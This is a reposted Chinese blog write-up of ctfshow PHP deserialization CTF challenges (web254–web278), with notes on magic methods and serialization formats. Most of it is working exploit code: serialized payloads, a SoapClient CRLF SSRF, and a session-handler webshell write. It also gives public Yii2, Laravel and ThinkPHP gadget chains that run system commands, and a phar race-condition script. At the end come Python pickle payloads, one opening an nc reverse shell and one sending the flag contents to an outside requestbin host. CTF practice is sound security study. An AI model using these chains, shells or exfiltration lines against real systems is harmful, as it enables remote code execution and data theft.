小言_互联网的博客

ctfshow反序列化

272人阅读  评论(0)
payload(有效攻击负载)是包含在你用于一次漏洞利用(exploit)中的ShellCode中的主要功能代码
shellcode(可提权代码) 对于一个漏洞来说,ShellCode就是一个用于某个漏洞的二进制代码框架,有了这个框架你可以在这个ShellCode中包含你需要的Payload来做一些事情
exp (Exploit )漏洞利用,一般是个demo程序
poc(Proof of Concept)漏洞证明,一般就是个样本 用来证明和复现
vul:(Vulnerability) :漏洞
Pwn:是一个黑客语法的俚语词 ,是指攻破设备或者系统
 1. __sleep() //在对象被序列化之前运行
 2. __wakeup() //将在反序列化之后立即调用(当反序列化时变量个数与实际不符是会绕过)
 3. __construct() //当对象被创建时,会触发进行初始化
 4. __destruct() //对象被销毁时触发
 5. __toString(): //当一个对象被当作字符串使用时触发
 6. __call() //在对象上下文中调用不可访问的方法时触发
 7. __callStatic() //在静态上下文中调用不可访问的方法时触发
 8. __get() //获得一个类的成员变量时调用,用于从不可访问的属性读取数据
 9. __set() //用于将数据写入不可访问的属性
 10. __isset() //在不可访问的属性上调用isset()或empty()触发
 11. __unset() //在不可访问的属性上使用unset()时触发
 12. __toString() //把类当作字符串使用时触发
 13. __invoke() //当脚本尝试将对象调用为函数时触发

序列化对象:

private变量会被序列化为:\x00类名\x00变量名

protected变量会被序列化为: \x00*\x00变量名

public变量会被序列化为:变量名

先摘抄一波知识点!
然后再来进行介绍一波知识!
数据(变量)序列化(持久化)
将一个变量的数据“转换为”字符串,但并不是类型转换,目的是将该字符串储存在本地。相反的行为称为反序列化。
序列化和反序列化的目的:使得程序间传输对象会更加方便
serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。

多做题,做着做着就理解了!

web254

这道题就不解释php了,太简单了!

?username=xxxxxx&password=xxxxxx

web255

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
   
        return $this->isVip;
    }
    public function login($u,$p){
   
        return $this->username===$u&&$this->password===$p;#判断
    }
    public function vipOneKeyGetFlag(){
   
        if($this->isVip){
   
            global $flag;#全局变量
            echo "your flag is ".$flag;
        }else{
   
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];#从这里开始看!
$password=$_GET['password'];
#接受两个get变量
if(isset($username) && isset($password)){
   #判断
    $user = unserialize($_COOKIE['user']);#接受个cookie变量
    if($user->login($username,$password)){
   #传到本地(即上面)
        if($user->checkVip()){
   #(一个函数)
            $user->vipOneKeyGetFlag();#(一个类)
        }
    }else{
   
        echo "no vip,no flag";
    }
}

可以明显看到username='xxxxxx’和password=‘xxxxxx’,唯一特殊的地方就是cookie这里了!

用在线工具进行的脚本编译!

flag就有了!


web256

if($this->username!==$this->password){
   
	echo "your flag is ".$flag;
    }

就只有这里改了代码,其它与上一题一样!

<?php
class ctfShowUser{
   
	public $username='xxxxxx';
	public $password='xxx';
	public $isVip=true;}
$a = serialize(new ctfShowUser());
echo urlencode($a);
?>

这样子就满足条件了!使得反序列化后满足条件了!


web257

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
   
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
   
        $this->class=new info();#new了个info类,无用
    }
    public function login($u,$p){
   #这里进行接受
        return $this->username===$u&&$this->password===$p;#这里进行判断
    }
    public function __destruct(){
   
        $this->class->getInfo();
    }

}

class info{
   
    private $user='xxxxxx';
    public function getInfo(){
   
        return $this->user;
    }
}

class backDoor{
   
    private $code;
    public function getInfo(){
   
        eval($this->code);#这里执行代码
    }
}

$username=$_GET['username'];#从这里开始看
$password=$_GET['password'];
#俩个get变量
if(isset($username) && isset($password)){
   #判断
    $user = unserialize($_COOKIE['user']);#unserialize是对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
    $user->login($username,$password);#本地,即传到上面了!
}

__construct当对象被创建的时候自动调用,对对象进行初始化。当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法

<?php
class ctfShowUser{
   
	private $username='xxxxxx';
	private $password='xxxxxx';
	public function __construct(){
   
		$this->class=new backDoor();
	}
	public function __destruct(){
   
		$this->class->getInfo();
	}
}
class backDoor{
   
	private $code="system('cat f*');";
	public function getInfo(){
   
		eval($this->code);
	}
}
$a = serialize(new ctfShowUser());
echo urlencode($a);
?>

这里将backDoor类的code改成我们想要执行的的代码!

简单脚本如下

<?php
class ctfShowUser{
   
    public $class = 'backDoor';
	public function __construct(){
   
        $this->class=new backDoor();
    }
}
class backDoor{
   
    public $code='system("tac flag.php");';
    
}
echo urlencode(serialize(new ctfShowUser));
?>

相对简化了好多!
对了,这里是不能用cat这个的!


web258(加号绕过正则: /[oc]:\d+:/i)

if(isset($username) && isset($password)){
   
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
   
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

开始构造代码!

<?php
class ctfShowUser{
   
	public $class;
	public function __construct(){
   
		$this->class=new backDoor();
	}
}
class backDoor{
   
	public $code='system("cat f*");';
}
$b=new ctfShowUser();
echo urlencode(serialize($b));

改了private为public


web259(SoapClient与CRLF组合拳)(未做完)

这里还是比较难的!看着大师傅的wp做做!

CRLF是“回车+换行”(\r\n)的简称,其十六进制编码分别为0x0d和0x0a。在HTTP协议中,HTTP header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码。CRLF漏洞常出现在Location与Set-cookie消息头中。

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

利用php原生类SoapClient,构造如下!

public SoapClient :: SoapClient  (mixed $wsdl [, array $options])

WSDL(网络服务描述语言,Web Services Description Language)是一门基于 XML 的语言,用于描述 Web Services 以及如何对它们进行访问。

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

web260

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
   
    echo $flag;
}

这里的意思是说这要我们传入的get包含ctfshow_i_love_36D就可以了!

?ctfshow=s:18:"ctfshow_i_love_36D";

web261(未做)

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

web262(反序列化字符串逃逸)

error_reporting(0);
class message{
   
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
   
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
   
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

直接就可以弄了!

<?php
class message{
   
	public $from=1;
	public $msg=1;
	public $to=1;
	public $token='admin';
}
$a = new message();
$b = serialize($a);
$c = base64_encode($b);
echo $c;


另一种做法!payload如下!

<?php
class message{
   
   public $from;
   public $msg;
   public $to;
   public $token='user';
   public function __construct($f,$m,$t){
   
       $this->from = $f;
       $this->msg = $m;
       $this->to = $t;
   }
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);

web263(session反序列化)


这里是dirsearch脚本,下面是使用方法!

python3 dirsearch.py -u "网站域名" -e * -t 20 -x 301,403,404,500,501
#对目标所有文件进行扫描,扫描线程数为20,返回结果过滤301,403,404,500,501状态码
-h 查看帮助
-u URL 设置url
-L 设置url列表
-e 网站脚本类型,后跟php,asp,aspx等已知类型,不清楚写*
-s 时间,设置请求之间的延时
-r 递归地扫描
-t 线程数,设置扫描线程
-x 要排除状态码,返回结果时排除显示哪些状态码
-w 设置字典
-H 设置请求头
-c COOKIE,设置COOKIE

当然御剑扫描也是可以的!
发现三个文件index.php和flag.php和check.php还有www.rar和www.zip。说明源码泄露了!
check.php代码如下

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){
   

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
		]
	]);
	if($data['id']){
   
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
	}else{
   
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
}

flag.php代码如下!

$flag="flag_here";

index.php代码如下!

error_reporting(0);
session_start();
	//超过5次禁止登陆
if(isset($_SESSION['limit'])){
   
	$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
	$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
   
	setcookie("limit",base64_encode('1'));
	$_SESSION['limit']= 1;
}
	
?>

查看inc.php,其中ini_set(‘session.serialize_handler’, ‘php’);表明使用的是php引擎,5.5.4前默认是php;5.5.4后改为php_serialize!

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值

php: 键名+竖线(|)+经过serialize()函数处理过的值

php_serialize: 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

file_put_contents() 函数把一个字符串写入文件中。

<?php
class User{
   
	public $ussername;
	public $password;
	public $status='a';
}
$a = new User();
$a->username='b.php';
$a->password='<?php system("cat f*");?>';
echo base64_encode('|'.serialize($a));

其实这里也是可以写入一句话木马,然后蚁剑链接!

再来张蚁剑图片!


264(反序列化字符串逃逸)

error_reporting(0);
session_start();

class message{
   
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
   
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
   
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

这里与web262相似,这里构造payload

f=1&m=1&t=1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}

然后cookie msg=1 ,访问message.php就行了!

然后去访问它!


web265(反序列化中指针引用:&)

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
   
    public $token;
    public $password;

    public function __construct($t,$p){
   
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
   
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
   
    echo $flag;
}

这里要用到类似C语言里面的指针!

$a='123';
$b=&$a;
$b=1;
echo $a;
这时a的值便是1,其实这里$B$a都时一个变量,只不过有许多名字!

构造payload

<?php
class ctfShowAdmin{
   
	public $token;
	public $password;
	public function __construct(){
   
		$this->token='a';
		$this->password=&$this->token;
	}
}
$a = new ctfShowAdmin;
$b = serialize($a);
echo $b;
/?ctfshow=O:12:"ctfShowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}

web266(PHP对类名的大小写不敏感)

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
   
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
   
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
   
        return $this->username===$this->password;
    }
    public function __toString(){
   
        return $this->username;
    }
    public function __destruct(){
   
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
   
    throw new Exception("Error $ctfshowo",1);
}

当我们序列化的字符串里面如果有ctfshow就会抛出一个异常,这样就没法触发__destrurt魔术方法了,所以得绕过这个正则.且__destruct()在结束时自动启用!

<?php
class ctfshow{
   
}
echo serialize(new ctfshow());

然后将生成的ctfshow改一下大写!


web267~web270(Yii反序列化漏洞)

网页是个CTFshow社区,瞎点点,然后我一眼就看到了login登录界面!然后使用admin和admin进行登录!并在about页面的源代码里面发现注释?view-source这个提示!访问url+?r=site/about&view-source得到个反序列化点!

Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。


访问/index.php?r=backdoor/shell&code=poc即可执行命令
抄个脚本!

<?php
namespace yii\rest{
   
    class CreateAction{
   
        public $checkAccess;
        public $id;

        public function __construct(){
   
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
   
    use yii\rest\CreateAction;

    class Generator{
   
        protected $formatters;

        public function __construct(){
   
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
   
    use Faker\Generator;

    class BatchQueryResult{
   
        private $_dataReader;

        public function __construct(){
   
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
   
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
/index.php?r=backdoor/shell&code=
后面加上我们脚本生成的字符!

下面这个是又补充了一个脚本!

<?php
namespace yii\rest{
   
    class CreateAction{
   
        public $checkAccess;
        public $id;

        public function __construct(){
   
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}

namespace Faker{
   
    use yii\rest\CreateAction;

    class Generator{
   
        protected $formatters;

        public function __construct(){
   
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
   

    use Faker\Generator;

    class See{
   
        protected $description;
        public function __construct()
        {
   
            $this->description = new Generator();
        }
    }
}
namespace{
   
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
   
        private $keys = [];
        private $path;
        public function __construct()
        {
   
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}


web268~web270

这里整理一下poc链!

<?php
namespace yii\rest{
   
    class CreateAction{
   
        public $checkAccess;
        public $id;

        public function __construct(){
   
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
   
    use yii\rest\CreateAction;

    class Generator{
   
        protected $formatters;

        public function __construct(){
   
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
   
    use Faker\Generator;

    class BatchQueryResult{
   
        private $_dataReader;

        public function __construct(){
   
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
   
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

POC2

<?php
namespace yii\rest{
   
    class CreateAction{
   
        public $checkAccess;
        public $id;

        public function __construct(){
   
            $this->checkAccess = 'system';
            $this->id = 'ls';
        }
    }
}

namespace Faker{
   
    use yii\rest\CreateAction;

    class Generator{
   
        protected $formatters;

        public function __construct(){
   
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
   
    use Faker\Generator;
    class RunProcess{
   
        private $processes;
        public function __construct()
        {
   
            $this->processes = [new Generator()];
        }
    }
}
namespace{
   
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

POC3

<?php
namespace yii\rest{
   
    class CreateAction{
   
        public $checkAccess;
        public $id;

        public function __construct(){
   
            $this->checkAccess = 'system';
            $this->id = 'dir';
        }
    }
}

namespace Faker{
   
    use yii\rest\CreateAction;

    class Generator{
   
        protected $formatters;

        public function __construct(){
   
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{
   

    use Faker\Generator;

    class See{
   
        protected $description;
        public function __construct()
        {
   
            $this->description = new Generator();
        }
    }
}
namespace{
   
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
   
        private $keys = [];
        private $path;
        public function __construct()
        {
   
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

POC4

<?php
namespace yii\rest {
   
    class Action
    {
   
        public $checkAccess;
    }
    class IndexAction
    {
   
        public function __construct($func, $param)
        {
   
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
   
    abstract class MultiFieldSession
    {
   
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
   
        public function __construct($func, $param)
        {
   
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
   
    use yii\base\BaseObject;
    class BatchQueryResult
    {
   
        private $_dataReader;
        public function __construct($func, $param)
        {
   
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
   
    $exp = new \yii\db\BatchQueryResult('system', 'whoami');
    echo(base64_encode(serialize($exp)));
}

来张图!


web271-273(Laravel5.7,5.8 反序列化漏洞)

<?php
namespace Illuminate\Broadcasting{
   

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
   
        protected $events;
        protected $event;
        public function __construct(){
   
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
   

    use Mockery\Generator\MockDefinition;

    class QueuedCommand
    {
   
        public $connection;
        public function __construct(){
   
            $this->connection=new MockDefinition();
        }
    }
}
namespace Illuminate\Bus{
   

    use Mockery\Loader\EvalLoader;

    class Dispatcher
    {
   
        protected $queueResolver;
        public function __construct(){
   
            $this->queueResolver=[new EvalLoader(),'load'];
        }
    }
}
namespace Mockery\Loader{
   
    class EvalLoader
    {
   

    }
}
namespace Mockery\Generator{
   
    class MockDefinition
    {
   
        protected $config;
        protected $code;
        public function __construct()
        {
   
            $this->code="<?php system('cat /f*');?>"; //此处是PHP代码
            $this->config=new MockConfiguration();
        }
    }
    class MockConfiguration
    {
   
        protected $name="feng";
    }
}

namespace{
   

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

<?php

namespace Illuminate\Foundation\Testing {
   
    class PendingCommand
    {
   
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
   
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
   
    class DefaultGenerator
    {
   
        protected $default;

        public function __construct($default = null)
        {
   
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
   
    class Application
    {
   
        protected $instances = [];

        public function __construct($instances = [])
        {
   
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
   
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));

    echo urlencode(serialize($pendingcommand));
}

补充一个脚本!


web272~273(laravel5.8反序列化漏洞)

<?php
namespace Illuminate\Broadcasting{
   

    use Illuminate\Bus\Dispatcher;
    use Illuminate\Foundation\Console\QueuedCommand;

    class PendingBroadcast
    {
   
        protected $events;
        protected $event;
        public function __construct(){
   
            $this->events=new Dispatcher();
            $this->event=new QueuedCommand();
        }
    }
}
namespace Illuminate\Foundation\Console{
   
    class QueuedCommand
    {
   
        public $connection="ls /";  //此处参数
    }
}
namespace Illuminate\Bus{
   
    class Dispatcher
    {
   
        protected $queueResolver="system";  //此处函数

    }
}
namespace{
   

    use Illuminate\Broadcasting\PendingBroadcast;

    echo urlencode(serialize(new PendingBroadcast()));
}

web274(thinkphp 5.1反序列化漏洞)

<?php
namespace think;
abstract class Model{
   
    protected $append = [];
    private $data = [];
    function __construct(){
   
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
   
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
   
        $this->filter = "system";
        $this->config = ["var_ajax"=>'harker'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
   
    private $files = [];

    public function __construct()
    {
   
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
   
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>


web275

highlight_file(__FILE__);

class filter{
   
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
   
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
   
        if(preg_match('/php|\.\./i', $this->filename)){
   
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
   
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
   
        if($this->evilfile){
   
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
   
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
   
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
   
    echo 'where is flag?';
}

__destruct当对象被销毁时调用,所以我们不需要用到反序列化函数。那么只要$this->evilfile是true就可以了执行系统命令。

?fn=;cat f*
data:flag=123


web276

highlight_file(__FILE__);

class filter{
   
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
   
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
   
        if(preg_match('/php|\.\./i', $this->filename)){
   
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
   
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
   
        if($this->evilfile && $this->admin){
   
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
   
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
   
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
   
    echo 'where is flag?';
}

这里增加了判断$this->admin,所以我们需要进行反序列化来修改admin的值!,所以可以通过file_put_contents写入php函数,然后通过其进行触发phar反序列化,因此需要进行条件竞争!

import requests
import threading
import base64
url = 'http://349162dd-6c8d-4c80-96c2-59fee334418d.challenge.ctf.show:8080/'

f = open('./phar.phar', 'rb')

data = f.read()
flag = False

def work1():
    requests.post(url+"?fn=a", data=data)


def work2():
    global flag
    r = requests.post(url+"?fn=phar://phar.phar/", data="")
    if "flag{" in r.text and flag is False:
        print(base64.b64encode(r.text.encode()))
        flag = True

while flag is False:
    a = threading.Thread(target=work1)
    b = threading.Thread(target=work2)
    a.start()
    b.start()

而cahr里面是

<?php

class filter{
   
    public $filename = "1|cat f*";
    public $filecontent;
    public $evilfile = true;
    public $admin = true;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");

$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

抄了抄大师傅的脚本!


web277~278(python反序列化)

payload

import pickle
import base64
class A(object):
	def __redure__(self):
		return(eval,('__import__("os").popen("nc xxx.xxx.xxx.xxx 4567 -e /bin/sh").read()',))
a = A()
test = pickle.dumps(a)
print(base64.b64encode(test))

又找了个脚本!自己也不懂,不过先找为敬。

import os
import pickle
import base64
class RunCmd(object):
	def __reduce__(self):
		return (os.system,('wget http://requestbin.net/r/duwbu270?a=`cat fla*`',))
print(base64.b64encode(pickle.dump(RunCmd())))

转载:https://blog.csdn.net/njh18790816639/article/details/115661917
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场